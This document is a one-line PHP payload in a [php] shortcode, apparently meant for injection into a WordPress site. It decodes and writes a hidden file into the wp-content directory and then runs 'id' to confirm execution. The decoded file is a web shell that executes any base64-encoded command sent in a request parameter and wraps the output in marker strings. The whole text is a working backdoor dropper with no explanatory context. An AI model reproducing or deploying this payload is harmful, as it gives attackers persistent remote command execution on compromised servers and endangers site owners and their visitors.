[php]$p=WP_CONTENT_DIR.”/wp-647bf948.php”;@file_put_contents($p,base64_decode(“PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWyJjIl0pKXtlY2hvICJBVlJJTF9TVEFSVF9KQU5DT0siLnNoZWxsX2V4ZWMoYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbImMiXSkuIiAyPiYxIikuIkFWUklMX0VORF9KQU5DT0siO2V4aXQ7fSBlY2hvICJBVlJJTF9TVEFSVF9KQU5DT0tBTElWRUFWUklMX0VORF9KQU5DT0siOw==”));echo “AVRIL_START_JANCOK”.shell_exec(“id 2>&1″).”AVRIL_END_JANCOK”;[/php]
